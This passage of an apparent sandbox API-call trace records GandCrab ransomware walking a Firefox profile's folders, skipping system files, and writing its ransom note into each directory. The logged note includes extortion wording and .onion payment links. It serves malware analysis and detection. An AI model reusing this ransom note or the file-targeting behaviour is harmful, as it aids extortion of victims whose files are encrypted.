returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\GDCB-DECRYPT.txt" [0055.676] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.677] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\GDCB-DECRYPT.txt") returned 115 [0055.677] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\GDCB-DECRYPT.txt") returned 115 [0055.677] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\GDCB-DECRYPT.txt") returned 115 [0055.677] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\GDCB-DECRYPT.txt") returned 115 [0055.677] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.677] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.677] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.677] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.677] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.677] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.677] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.677] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.677] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.677] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.677] FindNextFileW (in: hFindFile=0x5dd048, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0055.677] FindClose (in: hFindFile=0x5dd048 | out: hFindFile=0x5dd048) returned 1 [0055.677] FindNextFileW (in: hFindFile=0x5dd088, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0055.677] FindClose (in: hFindFile=0x5dd088 | out: hFindFile=0x5dd088) returned 1 [0055.677] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.677] lstrcmpW (lpString1="gmp-gmpopenh264", lpString2=".") returned 1 [0055.678] lstrcmpW (lpString1="gmp-gmpopenh264", lpString2="..") returned 1 [0055.678] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="gmp-gmpopenh264" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264" [0055.678] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\" [0055.678] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.678] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.678] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.678] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.678] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.678] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.678] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\") returned 96 [0055.678] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\*" [0055.679] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5dd4c8 [0055.679] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.679] FindNextFileW (in: hFindFile=0x5dd4c8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.679] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.679] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.679] FindNextFileW (in: hFindFile=0x5dd4c8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0055.679] lstrcmpW (lpString1="1.6", lpString2=".") returned 1 [0055.679] lstrcmpW (lpString1="1.6", lpString2="..") returned 1 [0055.679] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\", lpString2="1.6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6" [0055.679] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6") returned 99 [0055.679] lstrcmpW (lpString1=".6", lpString2=".sql") returned -1 [0055.679] FindNextFileW (in: hFindFile=0x5dd4c8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0055.679] FindClose (in: hFindFile=0x5dd4c8 | out: hFindFile=0x5dd4c8) returned 1 [0055.680] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.680] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\\\GDCB-DECRYPT.txt") returned 113 [0055.680] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.680] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.680] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0055.681] CloseHandle (hObject=0x504) returned 1 [0055.681] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.681] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\") returned 96 [0055.681] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\*" [0055.681] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5dd008 [0055.682] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.682] FindNextFileW (in: hFindFile=0x5dd008, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.682] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.682] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.682] FindNextFileW (in: hFindFile=0x5dd008, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.682] lstrcmpW (lpString1="1.6", lpString2=".") returned 1 [0055.682] lstrcmpW (lpString1="1.6", lpString2="..") returned 1 [0055.682] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\", lpString2="1.6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6" [0055.682] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\" [0055.682] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.682] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.682] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\") returned 100 [0055.682] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\*" [0055.682] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5dd048 [0055.682] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.682] FindNextFileW (in: hFindFile=0x5dd048, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.682] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.682] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.682] FindNextFileW (in: hFindFile=0x5dd048, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.682] lstrcmpW (lpString1="gmpopenh264.dll", lpString2=".") returned 1 [0055.682] lstrcmpW (lpString1="gmpopenh264.dll", lpString2="..") returned 1 [0055.683] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="gmpopenh264.dll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll" [0055.683] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll") returned 115 [0055.683] lstrcmpW (lpString1=".dll", lpString2=".sql") returned -1 [0055.683] FindNextFileW (in: hFindFile=0x5dd048, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.683] lstrcmpW (lpString1="gmpopenh264.info", lpString2=".") returned 1 [0055.683] lstrcmpW (lpString1="gmpopenh264.info", lpString2="..") returned 1 [0055.683] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="gmpopenh264.info" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" [0055.683] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned 116 [0055.683] lstrcmpW (lpString1=".info", lpString2=".sql") returned -1 [0055.683] FindNextFileW (in: hFindFile=0x5dd048, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0055.683] FindClose (in: hFindFile=0x5dd048 | out: hFindFile=0x5dd048) returned 1 [0055.683] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.683] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\\\GDCB-DECRYPT.txt") returned 117 [0055.683] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0055.683] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.684] WriteFile (in: hFile=0x508, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0055.684] CloseHandle (hObject=0x508) returned 1 [0055.684] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\") returned 100 [0055.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\*" [0055.685] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5dd288 [0055.685] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.685] FindNextFileW (in: hFindFile=0x5dd288, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.685] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.685] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.685] FindNextFileW (in: hFindFile=0x5dd288, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.685] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.685] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\GDCB-DECRYPT.txt" [0055.685] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.685] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\GDCB-DECRYPT.txt") returned 116 [0055.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\GDCB-DECRYPT.txt") returned 116 [0055.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\GDCB-DECRYPT.txt") returned 116 [0055.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\GDCB-DECRYPT.txt") returned 116 [0055.685] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.685] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.685] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.685] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.685] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.685] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.685] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.685] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.685] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.685] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.685] FindNextFileW (in: hFindFile=0x5dd288, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.685] lstrcmpW (lpString1="gmpopenh264.dll", lpString2=".") returned 1 [0055.686] lstrcmpW (lpString1="gmpopenh264.dll", lpString2="..") returned 1 [0055.686] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="gmpopenh264.dll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll" [0055.686] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.686] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll") returned 115 [0055.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.dll") returned 115 [0055.686] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.686] FindNextFileW (in: hFindFile=0x5dd288, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.686] lstrcmpW (lpString1="gmpopenh264.info", lpString2=".") returned 1 [0055.686] lstrcmpW (lpString1="gmpopenh264.info", lpString2="..") returned 1 [0055.686] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="gmpopenh264.info" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info" [0055.686] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.686] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned 116 [0055.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned 116 [0055.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned 116 [0055.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\gmpopenh264.info") returned 116 [0055.686] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="desktop.ini") returned 1 [0055.686] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="autorun.inf") returned 1 [0055.686] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="ntuser.dat") returned -1 [0055.686] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="iconcache.db") returned -1 [0055.686] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="bootsect.bak") returned 1 [0055.686] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="boot.ini") returned 1 [0055.686] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="ntuser.dat.log") returned -1 [0055.686] lstrcmpiW (lpString1="gmpopenh264.info", lpString2="thumbs.db") returned -1 [0055.686] lstrcmpiW 